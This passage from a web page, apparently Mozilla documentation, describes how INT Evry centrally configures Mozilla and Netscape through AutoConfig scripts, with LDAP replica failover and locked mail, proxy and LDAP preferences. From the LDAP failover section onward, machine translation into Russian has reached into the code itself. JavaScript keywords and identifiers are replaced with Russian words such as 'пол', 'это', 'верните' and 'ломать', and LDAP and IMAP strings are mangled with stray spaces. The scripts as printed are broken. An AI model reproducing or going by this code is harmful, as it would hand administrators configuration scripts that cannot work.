<code>\\samba-server\%USERNAME</code>). Unfortunately file system writes and/or mail format differs between Windows and Unix, and folders soon become unreadable or even corrupted when read/written from one system to the other.</p> - -<p>That's why we finally decided to use IMAP, and hence IMAP folders. By migrating from University of Washington IMAP server to Cyrus IMAP we also inherited some interesting features like quotas, share folders, ACL, mail only account (no need for <code>/etc/passwd</code> entry!) much better performances, etc...</p> - -<h3 id="Reliability" name="Reliability">Reliability</h3> - -<h4 id="Fail-over_and_Uniqueness" name="Fail-over_and_Uniqueness">Fail-over and Uniqueness</h4> - -<p>A contribution from Roberto Aguilar gives the Mozilla AutoConfig JavaScript a way to search through different LDAP replicas in case one LDAP server is down.</p> - -<p>It also allows users to use a single JavaScript for both systems (Linux and Windows) with a subtle <code>if... else</code> test on environment variables.</p> - -<h4 id="LDAP_fail-over" name="LDAP_fail-over">LDAP fail-over</h4> - -<p>Creating an array of possible running LDAP servers permits an LDAP fail-over, then a shuffle function allows us to randomly pick up a running LDAP server.</p> - -<p>The shuffle function comes from here: <a href="http://www.mickweb.com/javascript/arrays/pureshuffle.html" rel="freelink">http://www.mickweb.com/javascript/ar...reshuffle.html</a></p> - -<p>Before publishing the code changes, please add this right before the shuffle function:</p> - -<pre> /** - * setup the shuffle method for an array, from Mickweb Script - * Factory at: - * http://www.mickweb.com/javascript/arrays/pureshuffle.html - */ -</pre> - -<p><font><font>Вот как работает отказ LDAP:</font></font></p> - -<pre><font><font>// 2) установить несколько серверов LDAP для отказа</font></font><font><font> - var ldap_values;</font></font><font><font> - var ldap_servers = new Array('ldap2.int-evry.fr',</font></font><font><font> - 'Ldap1.int-evry.fr',</font></font><font><font> - 'Openldap.int-evry.fr'</font></font><font><font> - );</font></font><font><font> - // Shuffle функция для рандомизации массива сервера</font></font><font><font> - // настройка метода shuffle для массива</font></font><font><font> - Array.prototype.shuffle = function(times) {</font></font><font><font> - var i, j, t, l = this.length;</font></font><font><font> - while (times--) {</font></font><font><font> - с (Math) {</font></font><font><font> - i = пол(random() * l);</font></font><font><font> - j = пол(random() * l);</font></font><font><font> - }</font></font><font><font> - t = это[i];</font></font><font><font> - это[i] = this[j];</font></font><font><font> - это[j] = t;</font></font><font><font> - }</font></font><font><font> - верните это;</font></font><font><font> - }</font></font><font><font> - // смешиваем серверы LDAP, чтобы мы не попадали в один и тот же каждый раз</font></font><font><font> - ldap_servers.shuffle (10);</font></font><font><font> -....</font></font><font><font> -// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail & cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».</font></font><font><font> -// Перейдите в список реплик LDAP</font></font><font><font> -для (i = 0; i <ldap_servers.length; i++) {</font></font><font><font> -// Поиск почты атрибута и cn через LDAP-серверы, где uid = $ USER | $ USERNAME</font></font><font><font> - getLDAPAttributes(ldap_servers [I],</font></font><font><font> - "НУ = люди, DC = INT-Эври, DC = пт",</font></font><font><font> - "uid =" + env_user,</font></font><font><font> - "UID, сп, почта");</font></font><font><font> - // Если мы поймаем запущенный сервер LDAP, выйдите из цикла,</font></font><font><font> - if (ldap_values) {</font></font><font><font> - run_ldap_server = ldap_servers [i];</font></font><font><font> - // Если $ MOZILLA_DEBUG = 1 отображается во всплывающем окне работающий сервер</font></font><font><font> - if (env_mozdebug) {</font></font><font><font> - displayError ("getLDAPAttributes: debug 2 running_ldap_server:" + running_ldap_server);</font></font><font><font> - }</font></font><font><font> - ломать;</font></font><font><font> - }</font></font><font><font> - }</font></font> -</pre> - -<h4 id="Unique_Script_for_Windows_and_Linux" name="Unique_Script_for_Windows_and_Linux"><font><font>Уникальный скрипт для Windows и Linux</font></font></h4> - -<p><code>if... else</code><font><font>Тест позволяет проверить ли мы используем переменные среды Linux или Windows , </font><font>для </font></font><code>USER</code><font><font>/ </font></font><code>USERNAME</code><font><font>.</font></font></p> - -<pre><font><font>// 1) переменные env</font></font><font><font> -if (getenv("USER")! = "") {</font></font><font><font> - // * Настройки NIX</font></font><font><font> - var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font> - var env_home = getenv("HOME");</font></font><font><font> - } else {</font></font><font><font> - // Настройки Windows</font></font><font><font> - var env_user = getenv("USERNAME");</font></font><font><font> - var env_home = getenv("HOMEPATH");</font></font><font><font> - }</font></font><font><font> - var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font> -</pre> - -<h4 id="Final_Production_Script" name="Final_Production_Script"><font><font>Окончательный сценарий производства</font></font></h4> - -<p><font><font>Вот полный окончательный и прокомментированный производственный сценарий:</font></font></p> - -<pre><font><font>// Mozilla AutoConfiguration, Jehan Procaccia & Roberto Aguilar</font></font> - <font><font> -// помещаем все в try/catch</font></font><font><font> -пытаться {</font></font><font><font> -/ *</font></font><font><font> -1) определить переменные среды,</font></font><font><font> -2) список и рандомизировать реплики LDAP,</font></font><font><font> -3) определить processLDAPValues(),</font></font><font><font> -4) Вызовите LDAP-сервер, чтобы получить атрибуты LDAP(mail & cn) getLDAPAttributes()</font></font><font><font> -5) установить пользовательские настройки</font></font><font><font> -* /</font></font> - <font><font> -// 1) переменные env</font></font><font><font> -if (getenv("USER")! = "") {</font></font><font><font> - // * Настройки NIX</font></font><font><font> - var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font> - var env_home = getenv("HOME");</font></font><font><font> - } else {</font></font><font><font> - // Настройки Windows</font></font><font><font> - var env_user = getenv("USERNAME");</font></font><font><font> - var env_home = getenv("HOMEPATH");</font></font><font><font> - }</font></font><font><font> - var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font> - <font><font> -// 2) установить несколько серверов LDAP для отказа</font></font><font><font> - var ldap_values;</font></font><font><font> - var ldap_servers = new Array('ldap2.int-evry.fr',</font></font><font><font> - 'Ldap1.int-evry.fr',</font></font><font><font> - 'Openldap.int-evry.fr'</font></font><font><font> - );</font></font><font><font> - // Shuffle функция для рандомизации массива сервера</font></font><font><font> -/ **</font></font><font><font> - * настроить метод shuffle для массива, начиная с "mickweb script</font></font><font><font> - * завод "по адресу:</font></font><font><font> - * http://www.mickweb.com/javascript/arrays/pureshuffle.html</font></font><font><font> - * / </font></font><font><font> - // настройка метода shuffle для массива</font></font><font><font> - Array.prototype.shuffle = function(times) {</font></font><font><font> - var i, j, t, l = this.length;</font></font><font><font> - while(times--) {</font></font><font><font> - с (Math) {</font></font><font><font> - i = пол (random() * l);</font></font><font><font> - j = пол (random() * l);</font></font><font><font> - }</font></font><font><font> - t = это[i];</font></font><font><font> - это[i] = this[j];</font></font><font><font> - это[j] = t;</font></font><font><font> - }</font></font><font><font> - верните это;</font></font><font><font> - }</font></font><font><font> - // смешиваем серверы LDAP, чтобы мы не попадали в один и тот же каждый раз</font></font><font><font> - ldap_servers.shuffle(10);</font></font> - <font><font> -/* 3) определить здесь (потому что если установлено после «4»), ниже он не работает!) ProcessLDAPValues, который в конечном итоге вызывается getLDAPAttributes () чуть ниже,</font></font><font><font> - проверьте код getLDAPAttributes() из $ MOZILLA_HOME /defaults/autoconfig/prefcalls.js, чтобы увидеть внутренний вызов на «user defined» processLDAPValues</font></font><font><font> -*/</font></font><font><font> -function processLDAPValues (значения) {</font></font><font><font> - если (значения) {</font></font><font><font> - // устанавливаем глобальный var со значениями, возвращаемыми из запроса LDAP</font></font><font><font> - ldap_values = значения;</font></font><font><font> - var uid = getLDAPValue(значения, "uid");</font></font><font><font> - var cn = getLDAPValue(значения, "cn");</font></font><font><font> - var mail = getLDAPValue(значения, «почта»);</font></font><font><font> - // заблокируйте зависимые предпочтения переменной LDAP(mail & cn), когда у нас есть доступ к ним</font></font><font><font> - lockPref("mail.server.server1.name", mail);</font></font><font><font> - lockPref("mail.identity.id1.fullName", cn);</font></font><font><font> - lockPref("mail.identity.id1.useremail", mail);</font></font><font><font> - defaultPref("network.ftp.anonymous_password", mail);</font></font> - <font><font> - // если $ MOZILLA_DEBUG = 1, вывести отладочное сообщение</font></font><font><font> - if (env_mozdebug) {</font></font><font><font> - displayError ("NO ERROR -> MCI (jehan.procaccia@int-evry.fr)" + "\ nthis сообщение отображается с displayError ()! \ ndebug 1 mozilla.cfg v3.2, NO FAILED, S2IA снова!", "\ nmail:" + mail + "\ nuid:" + uid + "\ ncn:" + cn + "\ nuser:" + env_user);</font></font><font><font> - }</font></font><font><font> - }</font></font><font><font> - }</font></font> - <font><font> -// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail & cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».</font></font><font><font> -// Перейдите в список реплик LDAP</font></font><font><font> -для (i = 0; i <ldap_servers.length; i ++) {</font></font><font><font> -// Поиск почты атрибута и cn через LDAP-серверы, где uid = $ USER | $ USERNAME</font></font><font><font> - getLDAPAttributes (ldap_servers [I],</font></font><font><font> - "НУ = люди, DC = INT-Эври, DC = пт",</font></font><font><font> - "uid =" + env_user,</font></font><font><font> - "UID, сп, почта");</font></font><font><font> - // Если мы поймаем запущенный сервер LDAP, выйдите из цикла,</font></font><font><font> - if (ldap_values) {</font></font><font><font> - run_ldap_server = ldap_servers [i];</font></font><font><font> - // Если $ MOZILLA_DEBUG = 1 отображается во всплывающем окне работающий сервер</font></font><font><font> - if (env_mozdebug) {</font></font><font><font> - displayError("getLDAPAttributes: debug 2 running_ldap_server:" + running_ldap_server);</font></font><font><font> - }</font></font><font><font> - ломать;</font></font><font><font> - }</font></font><font><font> - }</font></font> - <font><font> -// 5) Настройка пользовательских настроек</font></font> - <font><font> -// БРАУЗЕР</font></font><font><font> -lockPref("browser.startup.homepage", "http://www.int-evry.fr/s2ia/portail/");</font></font><font><font> -//unlockPref("browser.startup.homepage ");</font></font><font><font> -lockPref("browser.startup.homepage_override", true);</font></font><font><font> -lockPref("startup.homepage_override_url", "http://www.int-evry.fr/s2ia/portail/");</font></font><font><font> -//unlockPref("startup.homepage_override_url ");</font></font><font><font> -lockPref("browser.cache.disk.capacity", 100);</font></font><font><font> -lockPref("network.cookie.cookieBehavior", 0);</font></font> - <font><font> -// Сетевые настройки</font></font><font><font> -lockPref("network.proxy.autoconfig_url", "http://www.int-evry.fr/local/config.proxy");</font></font><font><font> -lockPref("network.proxy.type", 2);</font></font> - <font><font> -// Конфиденциальность и безопасность</font></font><font><font> -defaultPref("signon.rememberSignons", false);</font></font> - <font><font> -//Счет</font></font><font><font> -lockPref("mail.account.account1.identities", "id1");</font></font><font><font> -lockPref("mail.account.account1.server", "server1");</font></font><font><font> -lockPref("mail.account.account2.server", "server2");</font></font><font><font> -lockPref("mail.account.account3.server", "server3");</font></font><font><font> -lockPref("mail.accountmanager.accounts", "account1, account2, account3");</font></font><font><font> -lockPref("mail.accountmanager.defaultaccount", "account1");</font></font> - <font><font> -// IMAP</font></font><font><font> -lockPref("mail.server.server1.hostname", "imap-int.int-evry.fr");</font></font><font><font> -lockPref("mail.server.server1.type", "imap");</font></font><font><font> -lockPref("mail.server.server1.login_at_startup", true);</font></font><font><font> -lockPref("mail.identity.id1.draft_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Drafts");</font></font><font><font> -lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");</font></font><font><font> -lockPref("mail.identity.id1.fcc_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Sent");</font></font><font><font> -lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");</font></font><font><font> -lockPref("mail.identity.id1.stationery_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Шаблоны");</font></font><font><font> -lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");</font></font><font><font> -lockPref("mail.identity.id1.valid", true);</font></font><font><font> -lockPref("mail.identity.id1.overrideGlobal_Pref", true);</font></font><font><font> -lockPref("mail.server.server1.download_on_biff", true);</font></font><font><font> -lockPref("mail.server.server1.login_at_startup", true);</font></font><font><font> -lockPref("mail.server.server1.userName", env_user);</font></font><font><font> -lockPref("mail.server.server1.delete_model", 0);</font></font> - <font><font> -// SMTP</font></font><font><font> -defaultPref("mail.identity.id1.smtpServer", "smtp1");</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.auth_method", 0);</font></font><font><font> -defaultPref("mail.smtpservers", "smtp1");</font></font><font><font> -defaultPref("mail.smtpservers", "smtp1");</font></font><font><font> -defaultPref("mail.smtp.defaultserver", "smtp1");</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");</font></font><font><font> -lockPref("mail.identity.id1.organization", "INT Evry France");</font></font><font><font> -lockPref("mail.startup.enabledMailCheckOnce", true);</font></font><font><font> -lockPref("mail.ui.folderpane.version", 3);</font></font><font><font> -lockPref("mailnews.ui.threadpane.version", 2);</font></font> - <font><font> -// Конфигурация LDAP</font></font><font><font> -lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.ldapint");</font></font><font><font> -lockPref("ldap_2.prefs_migrated", true);</font></font><font><font> -lockPref("ldap_2.servers.history.filename", "history.mab");</font></font><font><font> -lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);</font></font><font><font> -lockPref("ldap_2.servers.ldapint.auth.savePassword", true);</font></font><font><font> -lockPref("ldap_2.servers.ldapint.description", "ldap-int");</font></font><font><font> -lockPref("ldap_2.servers.ldapint.filename", "abook-1.mab");</font></font><font><font> -lockPref("ldap_2.servers.ldapint.position", 3);</font></font><font><font> -lockPref("ldap_2.servers.ldapint.uri", "ldap: //ldap1.int-evry.fr: 389 / ou = people, dc = int-evry, dc = fr ?? sub");</font></font><font><font> -lockPref("ldap_2.servers.pab.filename", "abook.mab");</font></font><font><font> -lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);</font></font> - <font><font> -// Конфигурация новостей</font></font><font><font> -lockPref("mail.server.server3.hostname", "news.int-evry.fr");</font></font><font><font> -lockPref("mail.server.server3.max_cached_connections", 2);</font></font><font><font> -lockPref("mail.server.server3.name", "news.int-evry.fr");</font></font><font><font> -lockPref("mail.server.server3.type", "nntp");</font></font><font><font> -lockPref("mail.server.server3.userName", env_user);</font></font> - <font><font> -// Закройте попытку и вызовите catch()</font></font><font><font> -} catch(e) {</font></font><font><font> - displayError("lockedPref", e);</font></font><font><font> -}</font></font> -</pre> - -<h4 id="For_The_Record.2C_Old_Reliably_Scripts..." name="For_The_Record.2C_Old_Reliably_Scripts..."><font><font>Для записи, старые надежные скрипты ...</font></font></h4> - -<p><font><font>По крайней мере, протестирован на Netscape 4.x.</font></font></p> - -<p><font><font>В исходных файлах ниже (в разделе Netscape 4.x) мы жестко закодировали один веб-сервер для извлечения файла предпочтений JavaScript и одного жестко запрограммированного LDAP-сервера для получения </font></font><code>mail</code><font><font>и </font></font><code>cn</code><font><font>атрибутов. </font><font>Было бы безопаснее получать вторичные серверы в случае сбоя. </font><font>Для имени веб-сервера мы можем использовать запрос LDAP для получения списка возможных. </font><font>Следовательно, нам не придется повторно кодировать </font></font><code>netscape.cfg</code><font><font>файл при каждом изменении. </font><font>Мы устанавливаем </font></font><code>netscape.cfg</code><font><font>файл только один раз при работе с компьютерами с операционной системой, тогда любые изменения происходят в LDAP или в файле настроек JavaScript веб-сервера (центральная конфигурация).</font></font></p> - -<h5 id="Enhance_netscape.cfg" name="Enhance_netscape.cfg"><font><font>Улучшить netscape.cfg</font></font></h5> - -<p><font><font>Список возможных веб-серверов для запроса определяется в </font></font><code>netscape.cfg</code><font><font>. </font><font>Здесь также определяются имена файлов предпочтений JavaScript, поэтому </font></font><code>netscape.cfg</code><font><font>их не нужно менять после визуализации компьютеров при каждом изменении, которое нам нужно сделать.</font></font></p> - -<h5 id="LDAP_Web_Server_List_Subtree" name="LDAP_Web_Server_List_Subtree"><font><font>Подтип списка веб-сервера LDAP</font></font></h5> - -<pre><font><font>$ ldapsearch -x * -b "ou = браузер, ou = информация, dc = int-evry, dc = fr" cn -LLL</font></font><font><font> -dn: ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font> -<font><font> -dn: sn = http_server, ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font><font><font> -cn: web1.int-evry.fr</font></font><font><font> -cn: web2.int-evry.fr</font></font> -<font><font> -dn: sn = http_unix_file, ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font><font><font> -cn: /browser/config_file_unix.jsc</font></font> -<font><font> -dn: sn = http_win_file, ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font><font><font> -cn: /browser/config_file_win.jsc</font></font> -</pre> - -<h5 id="netscape.cfg" name="netscape.cfg"><font><font>netscape.cfg</font></font></h5> - -<p><font><font>Здесь мы выбираем операционный сервер LDAP просто путем тестирования LDAP-запроса, чтобы убедиться, что на наши запросы LDAP для настройки предпочтений будет дан ответ. </font><font>{Опять же, я не говорю о JavaScript. </font><font>Должен быть лучший способ убедиться, что сервер LDAP запущен и работает. </font><font>Что касается проверки веб-сервера, не стесняйтесь оптимизировать этот код и дайте мне знать ...)</font></font></p> - -<pre><font><font>if (getLDAPAttributes("ldap1.int-evry.fr", \</font></font><font><font> - "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font> - "sn = http_server", "cn"))</font></font><font><font> - var running_ldap_server = "ldap1.int-evry.fr";</font></font><font><font> - else if (getLDAPAttributes("ldap2.int-evry.fr", \</font></font><font><font> - "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font> - "sn = http_server", "cn"))</font></font><font><font> - var running_ldap_server = "ldap2.int-evry.fr";</font></font><font><font> - else if (getLDAPAttributes("ldap0.int-evry.fr", \</font></font><font><font> - "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font> - "sn = http_server", "cn"))</font></font><font><font> - var running_ldap_server = "ldap0.int-evry.fr";</font></font><font><font> - else alert(«Нет сервера LDAP!»);</font></font> -</pre> - -<p><font><font>Вот полный пример файла Unix netscape.cfg.</font></font></p> - -<pre><font><font>с (PrefConfig) {// Должен быть выполнен внутри модуля PrefConfig</font></font> -<font><font> -// создаем некоторые переменные, которые мы, возможно, захотим использовать позже ...</font></font><font><font> -var env_user = getenv("ПОЛЬЗОВАТЕЛЬ"); </font><font>// Имя пользователя Windows</font></font><font><font> -var env_home = getenv("HOME"); </font><font>// Пользователь HomeDir</font></font><font><font> -var env_mozilla_home = getenv("MOZILLA_HOME");</font></font><font><font> -var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font> -<font><font> -// проверяем, какой сервер LDAP работает (требуется более совершенная процедура!)</font></font> -<font><font> -if (getLDAPAttributes ("ldap1.int-evry.fr", \</font></font><font><font> - "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font> - "sn = http_server", "cn"))</font></font><font><font> - var running_ldap_server = "ldap1.int-evry.fr";</font></font><font><font> - else if (getLDAPAttributes("ldap2.int-evry.fr", \</font></font><font><font> - "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font> - "sn = http_server", "cn"))</font></font><font><font> - var running_ldap_server = "ldap2.int-evry.fr";</font></font><font><font> - else if (getLDAPAttributes("ldap0.int-evry.fr", \</font></font><font><font> - "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font> - "sn = http_server", "cn"))</font></font><font><font> - var running_ldap_server = "ldap0.int-evry.fr";</font></font><font><font> - else alert(«Нет сервера LDAP!»);</font></font> -<font><font> -if (running_ldap_server) { </font></font><font><font> -var ldap_http_server_values = getLDAPAttributes (running_ldap_server, \</font></font><font><font> -«ou = браузер, ou = информация, dc = int-evry, dc = fr», «sn = http_server», «cn»);</font></font><font><font> -var ldap_http_server = getLDAPValue (ldap_http_server_values, "cn");</font></font><font><font> -var ldap_http_unix_uri_values = getLDAPAttributes (running_ldap_server, \</font></font><font><font> -«ou = браузер, ou = информация, dc = int-evry, dc = fr», «sn = http_unix_file», «cn»);</font></font><font><font> -var ldap_http_unix_uri = getLDAPValue (ldap_http_unix_uri_values, "cn");</font></font><font><font> -var values = getLDAPAttributes (run_ldap_server, \</font></font><font><font> -«ou = people, dc = int-evry, dc = fr», «uid =» + env_user, «cn, mail»);</font></font><font><font> -var ldap_email = getLDAPValue (значения, «почта»);</font></font><font><font> -var ldap_gecos = getLDAPValue (значения, "cn");</font></font><font><font> -env_user = env_user.toLowerCase ();</font></font><font><font> -}</font></font><font><font> -еще</font></font><font><font> - alert(«Нет сервера LDAP, AutoConfig невозможно!»);</font></font> -<font><font> -// всплывающее отладочное сообщение, если экспортировано MOZILLA_DEBUG = 1 </font></font><font><font> -if (env_mozdebug) {</font></font><font><font> - alert("MOZILLA_DEBUG\nrunning LDAP server:" + run_ldap_server);</font></font><font><font> - alert("MOZILLA_DEBUG\nExecuting" + ldap_http_server + \</font></font><font><font> - ldap_http_unix_uri);</font></font><font><font> - alert("MOZILLA_DEBUG\nfetching http://" + ldap_http_server \</font></font><font><font> - + ldap_http_unix_uri + "");</font></font><font><font> -}</font></font> -<font><font> -// отправляем файл предпочтений на HTTP-сервере </font></font><font><font> -// нужен способ проверить, работает ли HTTP-сервер!</font></font> -<font><font> -конфигурации (</font></font><font><font> -"autoadmin.global_config_url", "http: //" + ldap_http_server + \</font></font><font><font> -ldap_http_unix_uri + ""</font></font><font><font> -);</font></font> -<font><font> -// Поскольку мы используем файл, если он недоступен,</font></font><font><font> -// ужасно неправильно в любом случае</font></font><font><font> -конфигурации (</font></font><font><font> -"autoadmin.failover_to_cached", false</font></font><font><font> -);</font></font> -<font><font> -// не использовать? useremail = email-addr для запроса URL-адреса CGI</font></font><font><font> -конфигурации (</font></font><font><font> -"autoadmin.append_emailaddr", false</font></font><font><font> -);</font></font> -<font><font> -} // с (PrefConfig)</font></font> -</pre> - -<p><font><font>Для версии Windows этого </font></font><code>netscape.cfg</code><font><font>файла мы заменяем </font></font><code>"sn=http_unix_file"</code><font><font>его </font></font><code>"sn=http_win_file"</code><font><font>в запросе LDAP.</font></font></p> - -<h3 id="OLD_Netscape_4.x" name="OLD_Netscape_4.x"><font><font>OLD Netscape 4.x</font></font></h3> - -<h4 id="Call_File.2C_netscape.cfg" name="Call_File.2C_netscape.cfg"><font><font>Файл вызова, netscape.cfg</font></font></h4> - -<p><font><font>В следующем примере этот файл является файлом «вызова», поскольку он фактически будет использоваться для перенаправления вызова на еще более централизованный файл, который будет расположен на веб-сервере. </font><font>Это позволяет нам сначала кодировать (байтовый сдвиг) этот файл ( </font></font><code>netscape.cfg</code><font><font>) - только один раз, потому что он вызовет некодированный файл JavaScript </font></font><code>config_file_system.jsc</code><font><font>(или другое имя) на веб-сервере.</font></font></p> - -<p><font><font>Во-вторых, поскольку этот последний файл JavaScript находится на веб-сервере, нет необходимости переписывать его на каждой станции при каждом изменении! </font><font>Эта функция доступна через </font></font><code>autoadmin.global_config_url</code><font><font>директиву, </font><font>например, например. </font><font>К сожалению, я не могу запустить эту действительно полезную директиву с Netscape 6/7 или Mozilla 1.x :-( (если кто знает, как, пожалуйста, дайте мне знать!)</font></font><code>config("autoadmin.global_config_url","<span class="nowiki">http://www/browser/config-file-system.jsc</span>"),</code></p> - -<p><font><font>В Windows, в котором закодированный </font></font><code>netscape.cfg</code><font><font>файл находится в </font></font><code>NETSCAPE_HOME\Communicator\Program</code><font><font>( </font></font><code>C:\Program Files\netscape\Communicator\Programs</code><font><font>), в Red Hat 7.3 он находится </font></font><code>/usr/lib/X11/app-defaults</code><font><font>. </font><font>Помните, что в Windows этот файл уже существует, поэтому он должен быть сохранен перед заменой нашим, чтобы вернуться в нормальное состояние в случае возникновения проблемы. </font><font>Если нет ни оригинального, ни персонализированного netscape.cfg, Netscape не запустится!</font></font></p> - -<pre><font><font>// Этот файл не используется в его нынешнем виде. </font><font>он должен быть закодирован</font></font><font><font> -// с функцией «convert» меню CCK «файл»</font></font><font><font> -// Конфигурация предпочтений Netscape:</font></font><font><font> -// настраивать значения по умолчанию из внутреннего файла JavaScript в исполняемом файле ns</font></font><font><font> -// глобальные prefs из netscape.cfg (этот файл)</font></font><font><font> -// выполняет файл ~/.netscape/preferences.js</font></font><font><font> -// выполняет ~/.netscape/user.js</font></font><font><font> -// (где-то здесь работает liprefs.js, но я еще не понял</font></font><font><font> -// то, что для губ.)</font></font><font><font> -// ================================================ =========================</font></font> -<font><font> -с (PrefConfig) {// Должен быть выполнен внутри модуля PrefConfig</font></font> -<font><font> -// создаем некоторые переменные, которые мы, возможно, захотим использовать позже ...</font></font><font><font> -var platform = getPlatform(); </font><font>// EG SunOS4.1.3_U1</font></font><font><font> -var env_user = getenv("ПОЛЬЗОВАТЕЛЬ"); </font><font>// Unix имя пользователя</font></font><font><font> -var env_home = getenv("HOME"); </font><font>// Пользователь HomeDir</font></font><font><font> -var env_display = getenv("DISPLAY"); </font><font>// X11 Дисплей</font></font><font><font> -var env_editor = getenv("РЕДАКЦИЯ"); </font><font>// использовать в редактировании почты?</font></font><font><font> -var env_visual = getenv("VISUAL"); </font><font>// использовать в редактировании почты?</font></font><font><font> -var env_mozilla_home = getenv("MOZILLA_HOME")</font></font><font><font> -var env_mozdebug = getenv("MOZILLA_DEBUG")</font></font><font><font> -// Для удобства обновления ... Мы используем операцию AutoAdmin для перенаправления</font></font><font><font> -// netscape.cfg, чтобы прочитать файл «config-file-unix.jsc» с открытым текстом.</font></font><font><font> -// Любые изменения</font></font><font><font> -// теперь можно сделать здесь без повторного кодирования файла netscape.jsc для</font></font><font><font> -// netscape.cfg.</font></font><font><font> -конфигурации (</font></font><font><font> -"autoadmin.global_config_url", \</font></font><font><font> -"Http://lugdunum.int-evry.fr/browser/config-file-unix.jsc"</font></font><font><font> -);</font></font><font><font> -// Как часто (в минутах) обновлять</font></font><font><font> -// Каждые 6 часов кажется хорошим интервалом, чтобы держать хозяев, которые никогда не</font></font><font><font> -// выходим из Netscape, обновляем текущие изменения.</font></font><font><font> -конфигурации (</font></font><font><font> -"autoadmin.refresh_interval", 360</font></font><font><font> -);</font></font><font><font> -// Поскольку мы используем файл, если он недоступен,</font></font><font><font> -// ужасно неправильно в любом случае</font></font><font><font> -конфигурации (</font></font><font><font> -"autoadmin.failover_to_cached", false</font></font><font><font> -);</font></font><font><font> -// не использовать? useremail = email-addr для запроса URL-адреса cgi</font></font><font><font> -конфигурации (</font></font><font><font> -"autoadmin.append_emailaddr", false</font></font><font><font> -);</font></font> -</pre> - -<h4 id="LockPref_Configuration_File" name="LockPref_Configuration_File"><font><font>Файл конфигурации LockPref</font></font></h4> - -<p><font><font>Этот файл (на веб-сервере:) </font></font><code><span class="nowiki">http://www/browser/config-file-system.jsc</span></code><font><font>- это место, где мы устанавливаем и блокируем Preferences. </font><font>Поскольку компьютеры являются общими, нам нужно персонализировать настройки на основе входа пользователя. </font><font>Логин берется из переменной среды: </font></font><code>USER</code><font><font>в Unix,</font></font><code>USERNAME</code><font><font>в Windows. </font><font>Различные имена среды и разные пути между Windows и Unix объясняют, почему нам нужны два разных файла конфигурации. </font><font>Возможно, есть способ управлять этими различиями внутри одного и того же файла, но я не очень свободно говорю с JavaScript :-(</font></font></p> - -<p><font><font>Ниже приведен пример </font></font><code>lockPref</code><font><font>файла конфигурации предпочтений для Unix ( </font></font><code>config_file_unix.jsc</code><font><font>). </font><font>Мы блокируем ( </font></font><code>lockPref</code><font><font>) некоторые настройки (имя сервера IMAP, название компании, расположение и размер кэша ...), другие могут быть просто установлены как default ( </font></font><code>defaultPref</code><font><font>); </font></font><code>startup.homepage</code><font><font>... Мы также используем функции LDAP (from </font></font><code>prefcalls.js</code><font><font>), чтобы получить текущий ( </font></font><code>USER</code><font><font>или </font></font><code>USERNAME</code><font><font>) адрес электронной почты и общее имя, соответственно, </font></font><code>mail</code><font><font>и </font></font><code>cn</code><font><font>в LDAP.</font></font></p> - -<pre><font><font>[root @ lugdunum /var/www/html/browser]</font></font><font><font> -$ more config_file_unix.jsc</font></font><font><font> -// Функции, которые вы можете использовать:</font></font><font><font> -// lockPref(имя, значение) пользователь не разрешается изменять</font></font><font><font> -// (aka lock_pref())</font></font><font><font> -// defaultPref (имя, значение), если пользователь не переопределяет, это значение</font></font><font><font> -// (aka default_pref())</font></font><font><font> -// unlockPref (name) разблокирует ранее имя «lockPref»</font></font><font><font> -// config(имя, значение) обычно для меню ...</font></font><font><font> -// value = getPref(name) получает текущую настройку</font></font><font><font> -// getLDAPAttributes (хост, база, фильтр, атрибуты)</font></font><font><font> -// getLDAPValue (значения, атрибут)</font></font><font><font> -// .mime.type, .begin_mime_def, .end_mime_def ..</font></font><font><font> -// .plat</font></font><font><font> -// alert(сообщение);</font></font><font><font> -// var = prompt(message);</font></font><font><font> -// var = getPlatform () возвращает Win32, ...</font></font><font><font> -// getPlatform() содержит ("UNIX") ...</font></font><font><font> -// var = getenv(envvar)</font></font><font><font> -// var = putenv(envvar)</font></font><font><font> -//</font></font><font><font> -// Объекты / функции, которые вы * не можете использовать, потому что они не определены</font></font><font><font> -// навигатор. * (argh, это * ДЕЙСТВИТЕЛЬНО * укусы)</font></font><font><font> -// ================================================ =========================</font></font><font><font> -// Конфигурация настроек</font></font><font><font> -// ================================================ =========================</font></font><font><font> -с (PrefConfig) {</font></font><font><font> -var values = getLDAPAttributes ("ldap2.int-evry.fr", \</font></font><font><font> -«ou = people, dc = int-evry, dc = fr», «uid =» + env_user, «cn, mail»);</font></font><font><font> -var ldap_email = getLDAPValue (значения, «почта»);</font></font><font><font> -var ldap_gecos = getLDAPValue (значения, "cn");</font></font><font><font> -// var toto = prompt ("email");</font></font><font><font> -// alert ("ldap_mail =" + ldap_email + "toto =" + toto);</font></font><font><font> -if (env_mozdebug) {</font></font><font><font> - alert("env_user:" + env_user + "\nenv_home:" + env_home + \</font></font><font><font> -"\nldap_email:" + ldap_email + "\nldap_gecos:" + ldap_gecos + "\ n");</font></font><font><font> -}</font></font><font><font> -// ------------------------------------------------ 